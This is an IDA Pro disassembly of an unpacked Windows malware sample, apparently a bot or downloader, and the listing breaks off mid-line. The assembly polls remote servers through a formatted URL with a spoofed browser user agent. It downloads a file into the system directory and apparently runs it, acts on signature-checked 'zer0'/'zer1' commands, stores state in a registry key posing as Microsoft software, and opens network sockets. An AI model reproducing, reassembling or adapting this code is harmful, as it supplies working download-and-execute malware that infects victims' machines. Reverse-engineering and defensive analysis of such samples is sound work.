; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : B2CDA7E77781415F1F902EE98C6CCFF8 ; File Name : u:\work\b2cda7e77781415f1f902ee98c6ccff8_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31430000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31431000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31431000 dd 77DD590Bh ; DATA XREF: sub_31432AA2+1Ar dword_31431004 dd 77DD59F0h ; DATA XREF: sub_31432AA2+38r dword_31431008 dd 77DD23D7h ; DATA XREF: sub_31432A49+3Er dword_3143100C dd 77DD22EAh ; DATA XREF: sub_31432A14+14r ; sub_31432A49+1Dr dword_31431010 dd 77DD5C55h ; DATA XREF: sub_31432A14+24r dword_31431014 dd 77DD189Ah ; DATA XREF: sub_31432A14+2Dr ; sub_31432A49+4Er ... dword_31431018 dd 77E2A571h ; DATA XREF: sub_3143256D+18Br dword_3143101C dd 77DE089Eh ; DATA XREF: sub_31431955+17r dword_31431020 dd 77DE07A3h ; DATA XREF: sub_31431955+30r dword_31431024 dd 77DE0D79h ; DATA XREF: sub_31431955+4Dr dword_31431028 dd 77DE0343h ; DATA XREF: sub_31431955+5Br dword_3143102C dd 77DE0AF0h ; DATA XREF: sub_31431939+8r dword_31431030 dd 77DE042Eh ; DATA XREF: sub_31431939+12r dword_31431034 dd 77DDEBA2h ; DATA XREF: sub_314318EA+6r dword_31431038 dd 77DE0BB2h ; DATA XREF: sub_314318EA+3Dr align 10h dword_31431040 dd 77E79E34h ; DATA XREF: sub_31432E80+Br dword_31431044 dd 77E7980Ah ; DATA XREF: sub_31432E6C+Dr dword_31431048 dd 77E7A099h ; DATA XREF: sub_31432D2E+17r dword_3143104C dd 77E76A2Eh ; DATA XREF: sub_31432D2E+E9r dword_31431050 dd 77E6BD13h ; DATA XREF: sub_31432C62+71r dword_31431054 dd 77E684C6h ; DATA XREF: sub_31432C62+B0r dword_31431058 dd 77EBB1E7h ; DATA XREF: sub_31432EFCr dword_3143105C dd 77EBA595h ; DATA XREF: sub_31432EF6r dword_31431060 dd 77E616B4h ; DATA XREF: sub_31432AF5+9Br dword_31431064 dd 77EBA6E9h ; DATA XREF: sub_31432EF0r dword_31431068 dd 77E73167h ; DATA XREF: sub_314328D7+13r ; sub_31432D2E+8Fr dword_3143106C dd 77E737DEh ; DATA XREF: sub_3143256D+D6r dword_31431070 dd 77E79D5Bh ; DATA XREF: sub_31432559+8r dword_31431074 dd 77E73628h ; DATA XREF: UPX0:31432501r ; sub_31432C62+Fr dword_31431078 dd 77F5157Dh ; DATA XREF: UPX0:3143251Cr dword_3143107C dd 77E79D8Ch ; DATA XREF: sub_314311A0+EDr dword_31431080 dd 77E77963h ; DATA XREF: sub_314311A0+B9r ; sub_314311A0+F6r ... dword_31431084 dd 77E7A837h ; DATA XREF: sub_314311A0+8Fr ; sub_3143237F+57r dword_31431088 dd 77E74672h ; DATA XREF: sub_314311A0+5Ar ; sub_3143141F+64r ... dword_3143108C dd 77E74155h ; DATA XREF: sub_314311A0+3Dr ; sub_31432C62+40r dword_31431090 dd 77E704FCh ; DATA XREF: sub_314311A0+37r ; sub_31432C62+1Br dword_31431094 dd 77E775F1h ; DATA XREF: sub_3143141F+32Ar ; sub_3143185D+1r dword_31431098 dd 77E7513Ch ; DATA XREF: sub_31431782+29r dword_3143109C dd 77E61BE6h ; DATA XREF: sub_3143185D+7Dr ; sub_314319BC+16Cr ... dword_314310A0 dd 77E73BEFh ; DATA XREF: sub_314319BC+4Fr dword_314310A4 dd 77E79C90h ; DATA XREF: sub_31431F23+4Dr dword_314310A8 dd 77E7A5FDh ; DATA XREF: sub_31431F23+13r ; sub_31431FAB+2Cr dword_314310AC dd 77E805D8h ; DATA XREF: sub_31431F23+Dr ; sub_3143256D+124r dword_314310B0 dd 77E61A90h ; DATA XREF: sub_31431FAB+BCr dword_314310B4 dd 77E706B7h ; DATA XREF: sub_31431FAB+8Ar ; sub_31432AF5+92r dword_314310B8 dd 77E79F93h ; DATA XREF: sub_31431FAB+26r ; UPX0:314324F1r dword_314310BC dd 77E7751Ah ; DATA XREF: sub_314320B6+12r dword_314310C0 dd 77E7C2C4h ; DATA XREF: sub_314320E4+8r dword_314310C4 dd 77E7AC37h ; DATA XREF: sub_314320F3+12r ; sub_3143210D+12r dword_314310C8 dd 77E61BB8h ; DATA XREF: sub_3143215E+38r dword_314310CC dd 77E74A3Bh ; DATA XREF: sub_31432209+13r dword_314310D0 dd 77E73AB3h ; DATA XREF: sub_31432209+8r dword_314310D4 dd 77E73C49h ; DATA XREF: sub_31432239+137r ; sub_3143237F+66r ... dword_314310D8 dd 77E777EFh ; DATA XREF: sub_31432239+F4r ; sub_3143278A+3Er ... dword_314310DC dd 77E78B82h ; DATA XREF: sub_3143237F+92r dword_314310E0 dd 77E793EFh ; DATA XREF: sub_3143237F+6Er dword_314310E4 dd 77E75CB5h ; DATA XREF: UPX0:3143252Br ; sub_31432C62+C3r dd 0 dword_314310EC dd 77C35280h ; DATA XREF: sub_314320B6+22r dword_314310F0 dd 77C42E10h ; DATA XREF: sub_31432EB2r dword_314310F4 dd 77C43710h ; DATA XREF: sub_31432EACr dword_314310F8 dd 77C43490h ; DATA XREF: sub_31432EA6r dword_314310FC dd 77C3528Dh ; DATA XREF: sub_3143185D:loc_314318B7r ; sub_3143212E:loc_3143213Fr ... ; --------------------------------------------------------------------------- loc_31431100: ; DATA XREF: UPX0:loc_31432EA0r mov al, 3Eh retn ; --------------------------------------------------------------------------- db 77h dword_31431104 dd 77C43AB0h ; DATA XREF: sub_3143141F+3Cr ; sub_3143141F+1A0r ... dword_31431108 dd 77C1BE00h ; DATA XREF: sub_3143141F+2A1r dword_3143110C dd 77C43500h ; DATA XREF: sub_31431313+37r ; sub_3143141F+B4r dd 0 dword_31431114 dd 77D4BDCAh ; DATA XREF: sub_31431FAB+5Dr dword_31431118 dd 77D4456Bh ; DATA XREF: sub_31431FAB+67r dword_3143111C dd 77D45CBCh ; DATA XREF: sub_31431FAB+7Ar dword_31431120 dd 77D4C96Ah ; DATA XREF: sub_3143141F+2D8r ; sub_31431782+5Dr ... align 8 dword_31431128 dd 76214750h ; DATA XREF: sub_314311A0+A9r ; sub_31431782+9Dr dword_3143112C dd 7620AFB6h ; DATA XREF: sub_314311A0+18r ; sub_31431782+89r dword_31431130 dd 76204E4Dh ; DATA XREF: sub_31431782+C5r dword_31431134 dd 762211EFh ; DATA XREF: sub_314321F3+8r ; UPX0:31432967r dword_31431138 dd 7620BD61h ; DATA XREF: sub_314311A0+DBr ; sub_31431782+B0r align 10h dword_31431140 dd 71AB41DAh ; DATA XREF: sub_314324C3+10r dword_31431144 dd 71AB3ECEh ; DATA XREF: sub_3143237F+100r dword_31431148 dd 71AB5DE2h ; DATA XREF: sub_3143237F+10Dr dword_3143114C dd 71AB868Dh ; DATA XREF: sub_3143237F+120r dword_31431150 dd 71AB32CAh ; DATA XREF: sub_314321B4+Cr dword_31431154 dd 71AB1740h ; DATA XREF: sub_314321B4+17r dword_31431158 dd 71AB2BBFh ; DATA XREF: sub_314321B4+25r dword_3143115C dd 71AB3C22h ; DATA XREF: sub_314319BC+2Br ; sub_3143237F+ACr dword_31431160 dd 71AB401Ch ; DATA XREF: sub_314319BC+44r ; sub_314328D7+Dr dword_31431164 dd 71AB1746h ; DATA XREF: sub_314319BC+147r ; sub_3143237F+F0r dword_31431168 dd 71AB3E5Dh ; DATA XREF: sub_314319BC+15Dr dword_3143116C dd 71AB1AF4h ; DATA XREF: sub_314319BC+17Br ; sub_31432239+67r ... dword_31431170 dd 71AB5690h ; DATA XREF: sub_314319BC+1A4r ; sub_314319BC+1D8r ... dword_31431174 dd 71AB8629h ; DATA XREF: sub_314319BC+550r ; sub_31432239+128r dword_31431178 dd 71AB1A6Dh ; DATA XREF: sub_314319BC+559r ; sub_31432239+12Fr align 10h dword_31431180 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_3143141F+5o dd offset nullsub_1 align 10h dword_31431190 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_3143256D+5o dd offset nullsub_2 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314311A0 proc near ; CODE XREF: sub_3143141F+172p var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_3143112C ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_314311CB push 1 jmp loc_31431261 ; --------------------------------------------------------------------------- loc_314311CB: ; CODE XREF: sub_314311A0+22j lea eax, [ebp+var_110] push 104h push eax call dword_31431090 ; GetSystemDirectoryA mov edi, dword_3143108C lea eax, [ebp+var_110] push offset dword_314341F8 push eax call edi ; lstrcat lea eax, [ebp+var_110] push 6 push eax call dword_31431088 ; lstrlen lea eax, [ebp+eax+var_110] push eax call sub_3143212E pop ecx lea eax, [ebp+var_110] pop ecx push offset dword_314341F0 push eax call edi ; lstrcat push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_31431084 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_31431241 push 2 jmp short loc_31431261 ; --------------------------------------------------------------------------- loc_31431241: ; CODE XREF: sub_314311A0+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31431128 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_31431264 push [ebp+var_4] call dword_31431080 ; CloseHandle push 3 loc_31431261: ; CODE XREF: sub_314311A0+26j ; sub_314311A0+9Fj pop eax jmp short loc_314312B5 ; --------------------------------------------------------------------------- loc_31431264: ; CODE XREF: sub_314311A0+B4j mov edi, 100000h push edi call sub_31432E6C mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31431138 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_3143107C ; WriteFile push [ebp+var_4] call dword_31431080 ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_3143215E push ebx call sub_31432E80 add esp, 0Ch xor eax, eax loc_314312B5: ; CODE XREF: sub_314311A0+C2j pop edi pop esi pop ebx leave retn sub_314311A0 endp ; =============== S U B R O U T I N E ======================================= sub_314312BA proc near ; CODE XREF: sub_3143141F+103p ; sub_3143141F+1DEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp [esp+arg_8], 0 jle short locret_31431312 mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push ebx push esi push edi or edi, 0FFFFFFFFh inc eax push 0Fh lea esi, [ecx+1] sub edi, ecx pop ecx loc_314312D8: ; CODE XREF: sub_314312BA+53j mov dl, [eax] mov bl, [eax-1] add edx, ecx add bl, cl sar edx, 4 and dl, 3 shl bl, 2 or dl, bl mov [esi-1], dl mov dl, [eax+1] mov bl, [eax] dec dl add bl, cl and dl, cl shl bl, 4 xor dl, bl add eax, 3 mov [esi], dl inc esi inc esi lea edx, [edi+esi] cmp edx, [esp+0Ch+arg_8] jl short loc_314312D8 pop edi pop esi pop ebx locret_31431312: ; CODE XREF: sub_314312BA+5j retn sub_314312BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431313 proc near ; CODE XREF: sub_31431398+27p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31431346 add ebx, 1Ah loc_31431346: ; CODE XREF: sub_31431313+2Ej movsx edi, [ebp+arg_0] mov esi, dword_3143110C lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31431370 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31431393 ; --------------------------------------------------------------------------- loc_31431370: ; CODE XREF: sub_31431313+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31431390 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31431393 ; --------------------------------------------------------------------------- loc_31431390: ; CODE XREF: sub_31431313+68j mov al, [ebp+arg_0] loc_31431393: ; CODE XREF: sub_31431313+5Bj ; sub_31431313+7Bj pop edi pop esi pop ebx leave retn sub_31431313 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431398 proc near ; CODE XREF: sub_3143141F+E0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_314313F5 mov edi, [ebp+arg_0] push ebx loc_314313AD: ; CODE XREF: sub_31431398+58j sub al, 2 inc [ebp+arg_4] mov bl, al mov eax, esi neg eax mov byte ptr [ebp+arg_0], bl push eax push [ebp+arg_0] call sub_31431313 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_314313D9 cmp bl, 7Ah jg short loc_314313D9 movsx esi, bl sub esi, 61h loc_314313D9: ; CODE XREF: sub_31431398+34j ; sub_31431398+39j cmp bl, 41h jl short loc_314313E9 cmp bl, 5Ah jg short loc_314313E9 movsx esi, bl sub esi, 41h loc_314313E9: ; CODE XREF: sub_31431398+44j ; sub_31431398+49j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_314313AD pop ebx jmp short loc_314313F8 ; --------------------------------------------------------------------------- loc_314313F5: ; CODE XREF: sub_31431398+Fj mov edi, [ebp+arg_0] loc_314313F8: ; CODE XREF: sub_31431398+5Bj and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_31431398 endp ; =============== S U B R O U T I N E ======================================= sub_314313FF proc near ; CODE XREF: sub_3143141F+10Fp ; sub_3143141F+1FCp arg_0 = dword ptr 4 xor eax, eax xor ecx, ecx loc_31431403: ; CODE XREF: sub_314313FF+12j mov edx, [esp+arg_0] movzx edx, byte ptr [ecx+edx] add eax, edx inc ecx cmp ecx, 30h jl short loc_31431403 push 1Ah cdq pop ecx idiv ecx mov eax, edx add eax, 61h retn sub_314313FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143141F proc near ; CODE XREF: sub_31431782+BAp var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1CC = byte ptr -1CCh var_1B8 = dword ptr -1B8h var_1B4 = byte ptr -1B4h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_174 = byte ptr -174h var_16C = byte ptr -16Ch var_168 = byte ptr -168h var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_120 = byte ptr -120h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31431180 push offset loc_31432EA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1DCh push ebx push esi push edi mov [ebp+var_12C], 1 and [ebp+var_4], 0 push offset aZer0 ; "zer0" push [ebp+arg_0] call dword_31431104 ; strstr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_314315B7 add esi, 4 mov [ebp+var_134], esi jz loc_314315B7 push esi call dword_31431088 ; lstrlen mov [ebp+var_20], eax cmp eax, 50h jle loc_314315B7 lea eax, [esi+100h] mov cl, [eax] mov [ebp+var_174], cl and byte ptr [eax], 0 mov al, [esi] mov [ebp+var_16C], al movsx ebx, al sub ebx, 61h mov [ebp+var_130], ebx js loc_314315AB cmp ebx, 1Ah jge loc_314315AB inc esi mov [ebp+var_134], esi push 7Eh push esi call dword_3143110C ; strchr pop ecx pop ecx mov edi, eax mov [ebp+var_138], edi test edi, edi jz loc_314315AB mov al, [edi] mov [ebp+var_178], al and byte ptr [edi], 0 push ebx push esi lea eax, [ebp+var_120] push eax call sub_31431398 mov al, [ebp+var_178] mov [edi], al lea esi, [edi+1] mov [ebp+var_134], esi push 30h lea eax, [ebp+var_168] push eax lea eax, [esi+1] push eax call sub_314312BA lea eax, [ebp+var_168] push eax call sub_314313FF add esp, 1Ch cmp [esi], al jnz short loc_314315AB push 44h push offset dword_31434000 lea eax, [ebp+var_128] push eax call sub_314318EA add esp, 0Ch lea eax, [ebp+var_1C] push eax push 30h lea eax, [ebp+var_168] push eax lea eax, [ebp+var_120] push eax call dword_31431088 ; lstrlen push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_128] push eax call sub_31431955 add esp, 18h test eax, eax jnz short loc_3143159E cmp [ebp+var_1C], eax jz short loc_3143159E lea eax, [ebp+var_120] push eax call sub_314311A0 pop ecx and [ebp+var_12C], 0 loc_3143159E: ; CODE XREF: sub_3143141F+164j ; sub_3143141F+169j lea eax, [ebp+var_128] push eax call sub_31431939 pop ecx loc_314315AB: ; CODE XREF: sub_3143141F+9Bj ; sub_3143141F+A4j ... mov al, [ebp+var_174] mov [esi+100h], al loc_314315B7: ; CODE XREF: sub_3143141F+4Ej ; sub_3143141F+5Dj ... push offset aZer1 ; "zer1" push [ebp+arg_0] call dword_31431104 ; strstr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_31431763 add esi, 4 mov [ebp+var_134], esi push esi call dword_31431088 ; lstrlen mov [ebp+var_20], eax cmp eax, 5Ah jle loc_31431763 push 0Ch lea eax, [ebp+var_184] push eax push esi call sub_314312BA push 30h lea eax, [ebp+var_1B4] push eax lea eax, [esi+13h] push eax call sub_314312BA lea eax, [ebp+var_1B4] push eax call sub_314313FF add esp, 1Ch cmp [esi+12h], al jnz loc_31431763 push 44h push offset dword_31434000 lea eax, [ebp+var_128] push eax call sub_314318EA lea eax, [ebp+var_1C] push eax push 30h lea eax, [ebp+var_1B4] push eax push 0Ch lea eax, [ebp+var_184] push eax lea eax, [ebp+var_128] push eax call sub_31431955 add esp, 24h test eax, eax jnz loc_31431756 cmp [ebp+var_1C], eax jz loc_31431756 push 7 pop ecx mov esi, offset aSoftwareMicros ; "Software\\Microsoft\\Wireless" lea edi, [ebp+var_1E8] rep movsd mov eax, dword_3143426C mov [ebp+var_1B8], eax push 13h lea eax, [ebp+var_1CC] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1E8] push eax mov esi, 80000002h push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_314316CF lea eax, [ebp+var_1CC] push eax call dword_31431108 ; atoi pop ecx mov [ebp+var_1EC], eax jmp short loc_314316D6 ; --------------------------------------------------------------------------- loc_314316CF: ; CODE XREF: sub_3143141F+298j and [ebp+var_1EC], 0 loc_314316D6: ; CODE XREF: sub_3143141F+2AEj mov eax, [ebp+var_184] cmp [ebp+var_1EC], eax jnb short loc_3143174F mov [ebp+var_1EC], eax push eax push offset aD ; "%d" lea eax, [ebp+var_1CC] push eax call dword_31431120 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_1CC] push eax call dword_31431088 ; lstrlen inc eax push eax lea eax, [ebp+var_1CC] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1E8] push eax push esi call sub_31432AA2 add esp, 14h cmp dword_31435048, 0 jnz short loc_3143173E push [ebp+var_180] jmp short loc_31431744 ; --------------------------------------------------------------------------- loc_3143173E: ; CODE XREF: sub_3143141F+315j push [ebp+var_17C] loc_31431744: ; CODE XREF: sub_3143141F+31Dj push offset dword_3143504C call dword_31431094 ; InterlockedExchange loc_3143174F: ; CODE XREF: sub_3143141F+2C3j and [ebp+var_12C], 0 loc_31431756: ; CODE XREF: sub_3143141F+247j ; sub_3143141F+250j lea eax, [ebp+var_128] push eax call sub_31431939 pop ecx loc_31431763: ; CODE XREF: sub_3143141F+1B2j ; sub_3143141F+1CEj ... or [ebp+var_4], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_12C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_3143141F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431782 proc near ; CODE XREF: sub_3143185D+2Ap var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi push 4000h call sub_31432E6C pop ecx mov esi, eax lea eax, [ebp+var_E8] push 63h push eax push 7 push 400h call dword_31431098 ; GetLocaleInfoA xor ebx, ebx cmp byte ptr [ebp+arg_4], bl jz short loc_314317EA lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_84] push dword_3143502C push dword_31435044 push offset aKklltovbhc ; "kklltovbhc" push [ebp+arg_0] push offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"... push eax call dword_31431120 ; wsprintfA add esp, 1Ch jmp short loc_31431802 ; --------------------------------------------------------------------------- loc_314317EA: ; CODE XREF: sub_31431782+34j push [ebp+arg_0] lea eax, [ebp+var_84] push offset aHttpS ; "http://%s" push eax call dword_31431120 ; wsprintfA add esp, 0Ch loc_31431802: ; CODE XREF: sub_31431782+66j push ebx push ebx push ebx push ebx push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_3143112C ; InternetOpenA push ebx mov edi, eax push ebx push ebx lea eax, [ebp+var_84] push ebx push eax push edi call dword_31431128 ; InternetOpenUrlA mov ebx, eax lea eax, [ebp+var_4] push eax push 2000h push esi push ebx call dword_31431138 ; InternetReadFile push esi mov [ebp+arg_4], eax call sub_3143141F push esi call sub_31432E80 mov esi, dword_31431130 pop ecx pop ecx push ebx call esi ; InternetCloseHandle push edi call esi ; InternetCloseHandle mov eax, [ebp+arg_4] pop edi pop esi pop ebx leave retn sub_31431782 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3143185D proc near ; DATA XREF: sub_3143256D+169o push ebx mov ebx, dword_31431094 push esi push edi loc_31431866: ; CODE XREF: sub_3143185D+88j xor esi, esi mov edi, 46021h loc_3143186D: ; CODE XREF: sub_3143185D+86j inc esi inc esi call sub_314321F3 test eax, eax jz short loc_314318B7 mov al, byte_31434080[esi+esi*4] push eax push off_31434081[esi+esi*4] call sub_31431782 or eax, edi pop ecx xor eax, 8064h pop ecx shl eax, 3 mov edi, eax xor eax, 228h test ax, 0FFFFh jnz short loc_314318B7 push 0 push offset dword_31435044 call ebx ; InterlockedExchange push 0 push offset dword_3143502C call ebx ; InterlockedExchange loc_314318B7: ; CODE XREF: sub_3143185D+19j ; sub_3143185D+46j call dword_314310FC ; rand push 3 cdq pop ecx idiv ecx add esi, edx call sub_31432223 xor edx, edx mov ecx, 493E0h div ecx add edx, 61B48h push edx call dword_3143109C ; Sleep cmp esi, 16h jb short loc_3143186D jmp loc_31431866 sub_3143185D endp ; =============== S U B R O U T I N E ======================================= sub_314318EA proc near ; CODE XREF: sub_3143141F+129p ; sub_3143141F+21Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi mov esi, dword_31431034 push edi xor edi, edi push edi push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_31431917 push 8 push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_31431917 push 1 pop eax jmp short loc_31431935 ; --------------------------------------------------------------------------- loc_31431917: ; CODE XREF: sub_314318EA+19j ; sub_314318EA+26j lea eax, [ebx+4] push eax push edi push edi push [esp+18h+arg_8] push [esp+1Ch+arg_4] push dword ptr [ebx] call dword_31431038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_31431935: ; CODE XREF: sub_314318EA+2Bj pop edi pop esi pop ebx retn sub_314318EA endp ; =============== S U B R O U T I N E ======================================= sub_31431939 proc near ; CODE XREF: sub_3143141F+186p ; sub_3143141F+33Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+4] call dword_3143102C ; CryptDestroyKey push 0 push dword ptr [esi] call dword_31431030 ; CryptReleaseContext xor eax, eax pop esi retn sub_31431939 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431955 proc near ; CODE XREF: sub_3143141F+15Ap ; sub_3143141F+23Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_0] xor edi, edi push eax push edi push edi push 8003h push dword ptr [esi] call dword_3143101C ; CryptCreateHash test eax, eax jnz short loc_3143197B push 1 pop eax jmp short loc_314319B8 ; --------------------------------------------------------------------------- loc_3143197B: ; CODE XREF: sub_31431955+1Fj push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_31431020 ; CryptHashData test eax, eax jnz short loc_31431994 push 2 pop edi jmp short loc_314319AD ; --------------------------------------------------------------------------- loc_31431994: ; CODE XREF: sub_31431955+38j push edi push edi push dword ptr [esi+4] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call dword_31431024 ; CryptVerifySignatureA mov ecx, [ebp+arg_14] mov [ecx], eax loc_314319AD: ; CODE XREF: sub_31431955+3Dj push [ebp+arg_0] call dword_31431028 ; CryptDestroyHash mov eax, edi loc_314319B8: ; CODE XREF: sub_31431955+24j pop edi pop esi pop ebp retn sub_31431955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314319BC proc near ; CODE XREF: sub_31432728+35p ; sub_3143278A+47p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31432EC0 mov eax, dword_31434CAC push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_31434CB0 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_3143115C ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31431F1C push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_31431160 ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_314310A0 ; lstrcpyn lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_31434CA0 push eax call dword_31431120 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31431A2F: ; CODE XREF: sub_314319BC+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte 